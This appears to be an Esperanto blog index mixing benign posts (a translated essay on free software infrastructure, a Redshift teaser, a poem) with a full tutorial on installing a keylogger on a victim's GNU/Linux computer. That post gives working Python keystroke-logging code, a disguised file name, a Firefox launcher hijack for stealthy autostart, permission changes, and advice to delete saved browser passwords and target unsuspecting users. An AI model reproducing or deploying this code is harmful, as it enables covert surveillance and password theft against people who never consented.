Gravas, ke liberaj programoj uzu liberan infrastrukturon

Ĉi tiu artikolo estas traduko de la artikolo «It is important for free software to use free software infrastructure» publikigita de Drew Devault sub la CC BY-SA 2.0-permesilo.

Averto: mi fondis projekton kaj firmaon centritan sur libera infrastrukturo. Mi elektas ne nomi ilin en ĉi tiu afiŝo kaj mi nur rekomendos solvojn, pri kiuj mi ne havas personan intereson.

La projektoj de liberaj programoj bezonas infrastrukturon: lokon por gastigi la kodon, por faciligi aferojn kiel la kontroladon de kodo, subtenon al la fina uzanto, sekvadon de cimoj, merkatiko, ktp. Kutima ekzemplo de ĉi tio estas la «forĝeja» platformo: infrastrukturo, kiu anoncas sin kiel universalan vendejon por multaj el la necesoj de liberaj projektoj en unu loko, kiel la koda gastigado kaj kontrolado, cimsekvado, diskutoj kaj tiel plu. Multaj projektoj ankaŭ uzos kromajn platformojn por provizi aliajn specojn de infrastrukturo: babilejoj, diskutejoj, sociaj retejoj, ktp.

Multaj el ĉi tiuj bezonoj havas neliberajn solvojn disponeblajn. GitHub estas populara proprieta kodejo, kaj GitLab, la plej granda konkuranto de GitHub, estas parte nelibera. Kelkaj projektoj uzas Discord-on aŭ Slack-on por babilejoj, Reddit-on kiel diskutejon aŭ Twitter-on kaj Facebook-on por merkatikado, atingo kaj subteno; ĉiu ĉi tiuj estas neliberaj. Laŭ mia opinio, dependi de ĉi tiuj platformoj por provizi infrastrukturon al via libera projekto estas eraro.

Kiam via libera projekto elektas uzi neliberan platformon, vi donas al ĝi oficialan konfidan voĉdonon nome de via projekto. Per aliaj vortoj, vi pruntas iom de la kredindeco kaj legitimeco de via projekto al la platformoj, kiujn vi elektas. Ĉi tiuj platformoj estas difinitaj per retefikoj, kaj via elekto estas investo en tiu reto. Mi dubus pri ĉi tiu investo mem kaj pri la saĝeco oferi al ĉi tiu platformoj vian konfidon kaj legitimecon, sed ekzistas ankaŭ pli maltrankviliga sekvo de ĉi tiu elekto: investo en nelibera platformo estas ankaŭ manko de investo en liberaj alternativoj.

Denove, la retefikoj estas la ĉefa kialo de la sukceso de ĉi tiuj platformoj. Grandaj komercaj platformoj havas multajn avantaĝojn tiurilate: grandajn merkatikajn buĝetojn, multe da kapitalo de investistoj kaj la avantaĝon de la posedo. Ju pli granda estu la posedanta platformo, des pli malfacila iĝas la tasko konkuri kun ĝi. Komparu ĉi tion kun liberaj platformoj, kiuj kutime ne havas la helpon de grandaj kvantoj da investoj aŭ grandajn merkatikajn buĝetojn. Krome, estas pli verŝajne, ke firmaoj fie agu por sekurigi sian pozicion ol projektoj de liberaj programoj. Se viaj propraj liberaj projektoj konkuras kun proprietaj komercaj opcioj, vi devas tre bone koni ĉi tiujn defiojn.

La liberaj platformoj havas esencan malavantaĝon, kaj via fido, aŭ manko de fido, en ili estas tre grava. GitHub ne maltrankviliĝos, se via projekto elektas gastigi sian kodon aliloke, sed elekti Codeberg-on, ekzemple, signifas multe por ili. Fakte via elekto malproporcie gravas al la liberaj platformoj: elekti GitHub-on doloras Codeberg-on multe pli ol elekti Codeberg-on doloras GitHub-on. Kaj kial devus projekto elekti uzi vian oferon antaŭ la proprietaj alternativoj, se vi ne donis al ili la saman ĝentilaĵon? Solidareco inter liberaj projektoj gravas por altigi la ekosistemon kiel tuton.

Legu plu el Gravas, ke liberaj programoj uzu liberan infrastrukturon

Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.

Legu plu el Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.

Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.

Unue, oni devas instali la pynput-bibliotekon per...

sudo pip install pynput

Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

La klavaroregistrilo konserviĝas en log_dir. Mi, ĉi-okaze, specifis la dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon compile_docs.py aŭ iun similan, por ne altiri la atenton. Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti, ke ri ne rimarku tion, kion ni faras.

Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu Firefox-on, ni povas modifi la Firefox-komandon. Ni povas alinomi firefox1 al firefox.bin kaj krei la jenan dosieron nomitan firefox.

python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "$@"

Por scii kiu firefox-dosiero estas plenumita, kiam ni premas ĝian bildeton, ni devas iri al /usr/share/applications, eniri la dosieron firefox.desktop (aŭ firefox-esr.desktop) kaj serĉi la linion, kiu komenciĝas per Exec.

Sekve ni devus doni al ĝi skribpermesojn por aliaj uzantoj malsamaj ol root al la dosierujo, kie ni konservos la klavaroregistrilon:

sudo chmod o+w /usr/share/doc/python3

Finfine ni devus atendi ĝis la viktimo uzu la komputilo por atingi riajn pasvortojn aŭ ĉian ajn informon, kiun ri tajpu, kiun ni volas akiri. La registroj de klavoj estos konservita en la dosiero /usr/share/doc/python3/log. Sed estu singarda: la dosiero povus preni multe da spaco, se vi ne forigas ĝin de tempo al tempo; do plej bone estus malinstali la klavaroregistrilon post la akiro de la informoj, kiujn vi bezonas. Alia opcio estas agordi ĝin, por ke ĝi sendu la informon de tajpado per retpoŝto anstataŭ konservi ĝin en dosieron. Tiel ĝi ne prenus multe da spaco en la viktimula komputilo; sed tiu metodo postulas, ke ni uzu retadreson2.

Se la viktimo havas la pasvortojn konservitajn en la retumilo kaj ne bezonas skribi ilin denove, ni povas forigi la dosieron de pasvortoj, por ke ĝi estu devigita enigi ilin denove. Resume, ni povas ruze akiri multe da informo, speciale se ni uzas ĉi tiun metodon kontraŭ amatoraj uzantoj, kiuj ne multe suspektos. Por progresintaj uzantoj eble plej bonas kompili la compile_docs.py-programon per Nuitka, kiel mi montras en la sekva artikolo.


  1. En Debiano ni devus modifi la firefox-esr-dosieron. 

  2. La avantaĝo sendi la pasvortojn per retpoŝto estas, ke ni ne bezonas reveni al la komputilo de la viktimo por malfermi la dosieron de klavoprotokolo, sed ni ricevos la informojn de tempo al tempo per retpoŝto. 

Malpliigi la ekranan bluan lumon per Redshift

Blua lumo estas emisiita de naturaj fontoj, kiel la suno kaj ekranoj de elektraj aparatoj. Oni konsideras, ke ĉirkaŭ triono de ĉiu la lumo videbla de homoj estas blua. Tro da ricevado de tia lumo kaŭzas gravajn sanajn problemojn.

Legu plu el Malpliigi la ekranan bluan lumon per Redshift

Ruĝa lumo

Merlo, fiksu sur mi vian rigardon.
Kaŝtanarbo, fiksu sur mi viajn ekinojn.
Kunprenu min for de la blua lumo.

Estas loko, kie la luno lumas,
kie flustras vian nomon la nokto,
kiu petas al ni, ke ni kunigu niajn korpojn.
Ĉu vi sentas la ombrojn, kiuj brulas?
Ĉu vi aŭdas la kanton de la arbaro?

Ruĝan lumon vivigu.
Bluan lumon mortigu.